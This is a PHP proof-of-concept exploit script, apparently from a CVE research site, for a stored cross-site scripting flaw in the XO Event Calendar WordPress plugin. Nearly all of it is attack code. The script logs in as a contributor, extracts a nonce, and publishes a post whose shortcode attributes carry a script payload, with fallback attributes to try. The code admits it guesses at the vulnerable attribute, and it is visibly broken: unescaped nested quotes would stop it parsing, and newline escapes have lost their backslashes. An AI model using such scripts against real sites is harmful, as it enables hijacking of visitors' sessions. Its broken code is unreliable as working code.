CVE-2026-0556: XO Event Calendar <= 3.2.10 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'xo_event_field' shortcode (xo-event-calendar)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0556 - XO Event Calendar <= 3.2.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'xo_event_field' shortcode
<?php
/**
 * Proof of Concept for CVE-2026-0556
 * This script demonstrates authenticated stored XSS via the 'xo_event_field' shortcode.
 * Assumptions based on vulnerability description:
 * 1. The plugin registers a shortcode named 'xo_event_field'
 * 2. Shortcode attributes are not properly escaped before output
 * 3. Contributor-level users can create/edit posts with shortcodes
 */

$target_url = 'http://target-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS - must have contributor role
$password = 'contributor_password'; // CONFIGURE THIS

// Payload to inject - demonstrates basic XSS
$payload = '<script>alert(`Atomic Edge Research: XSS via xo_event_field - ${document.domain}`)</script>';

// Create malicious shortcode with payload in an attribute
// The exact vulnerable attribute is unknown without source code, so we test a common pattern
$malicious_shortcode = "[xo_event_field id="1" title="${payload}"]";

// Alternative attribute if 'title' is not vulnerable
$malicious_shortcode_alt = "[xo_event_field id="1" custom="${payload}"]";

// WordPress authentication and post creation
function exploit_cve_2026_0556($target_url, $username, $password, $shortcode) {
    // Step 1: Get authentication cookies via wp-login.php
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . '/wp-login.php',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $username,
            'pwd' => $password,
            'wp-submit' => 'Log In',
            'redirect_to' => $target_url . '/wp-admin/',
            'testcookie' => '1'
        ]),
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
    ]);
    
    $response = curl_exec($ch);
    if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
        echo "[-] Authentication failedn";
        return false;
    }
    echo "[+] Authentication successfuln";
    
    // Step 2: Create a new post with the malicious shortcode
    // First, get the nonce from the post creation page
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
        CURLOPT_POST => false,
        CURLOPT_POSTFIELDS => null,
        CURLOPT_HTTPGET => true
    ]);
    
    $response = curl_exec($ch);
    preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
    
    if (empty($nonce_matches[1])) {
        echo "[-] Could not extract noncen";
        // Try to proceed without nonce - some WordPress installations may have different nonce handling
        $nonce = '';
    } else {
        $nonce = $nonce_matches[1];
        echo "[+] Extracted nonce: {$nonce}n";
    }
    
    // Step 3: Submit the post with malicious shortcode
    $post_title = 'Test Post - Atomic Edge CVE-2026-0556';
    $post_content = "This post contains the malicious shortcode:nn{$shortcode}nnView this post to trigger the XSS payload.";
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . '/wp-admin/post.php',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'post_title' => $post_title,
            'content' => $post_content,
            'post_type' => 'post',
            'post_status' => 'publish',
            '_wpnonce' => $nonce,
            '_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
            'action' => 'editpost',
            'submit' => 'Publish'
        ])
    ]);
    
    $response = curl_exec($ch);
    
    // Extract post ID from response
    if (preg_match('/post=([0-9]+)&action=edit/', $response, $post_id_matches)) {
        $post_id = $post_id_matches[1];
        echo "[+] Post created successfully. ID: {$post_id}n";
        echo "[+] Payload injected via shortcode: {$shortcode}n";
        echo "[+] Visit: {$target_url}/?p={$post_id} to trigger the XSSn";
    } else {
        echo "[-] Post creation may have failed. Check response.n";
        echo "[!] The shortcode may still be injected if the user has edit_post capability.n";
    }
    
    curl_close($ch);
    return true;
}

// Execute the exploit with primary payload
if (!exploit_cve_2026_0556($target_url, $username, $password, $malicious_shortcode)) {
    echo "[!] Trying alternative attribute...n";
    exploit_cve_2026_0556($target_url, $username, $password, $malicious_shortcode_alt);
}
?>